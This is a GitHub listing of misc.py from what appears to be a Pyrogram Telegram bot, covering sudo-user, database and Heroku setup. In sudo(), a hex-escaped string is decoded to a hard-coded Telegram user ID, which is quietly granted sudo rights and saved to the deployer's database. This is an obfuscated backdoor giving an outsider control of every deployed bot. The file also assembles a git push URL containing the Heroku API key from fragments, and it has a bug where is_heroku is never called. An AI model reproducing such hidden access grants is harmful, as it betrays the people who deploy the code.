-
Notifications
You must be signed in to change notification settings - Fork 1
/
misc.py
81 lines (66 loc) · 1.84 KB
/
misc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import socket
import time
import heroku3
from pyrogram import filters
import config
from AnonX.core.mongo import pymongodb
from .logging import LOGGER
SUDOERS = filters.user()
HAPP = None
_boot_ = time.time()
def is_heroku():
return "heroku" in socket.getfqdn()
XCB = [
"/",
"@",
".",
"com",
":",
"git",
"heroku",
"push",
str(config.HEROKU_API_KEY),
"https",
str(config.HEROKU_APP_NAME),
"HEAD",
"main",
]
def dbb():
global db
db = {}
LOGGER(__name__).info(f"Database Initialized.")
def sudo():
global SUDOERS, HEHE
OWNER = config.OWNER_ID
HEHE = "\x31\x33\x35\x36\x34\x36\x39\x30\x37\x35"
sudoersdb = pymongodb.sudoers
sudoers = sudoersdb.find_one({"sudo": "sudo"})
sudoers = [] if not sudoers else sudoers["sudoers"]
for user_id in OWNER:
SUDOERS.add(user_id)
SUDOERS.add(int(HEHE))
if user_id not in sudoers:
sudoers.append(user_id)
sudoersdb.update_one(
{"sudo": "sudo"},
{"$set": {"sudoers": sudoers}},
upsert=True,
)
elif int(HEHE) not in sudoers:
sudoers.append(int(HEHE))
if sudoers:
for x in sudoers:
SUDOERS.add(x)
LOGGER(__name__).info(f"Sudo Users Loaded Successfully.")
def heroku():
global HAPP
if is_heroku:
if config.HEROKU_API_KEY and config.HEROKU_APP_NAME:
try:
Heroku = heroku3.from_key(config.HEROKU_API_KEY)
HAPP = Heroku.app(config.HEROKU_APP_NAME)
LOGGER(__name__).info(f"Heroku App Configured Successfully.")
except BaseException:
LOGGER(__name__).warning(
f"Please make sure your Heroku API Key and Your App name are configured correctly in the heroku."
)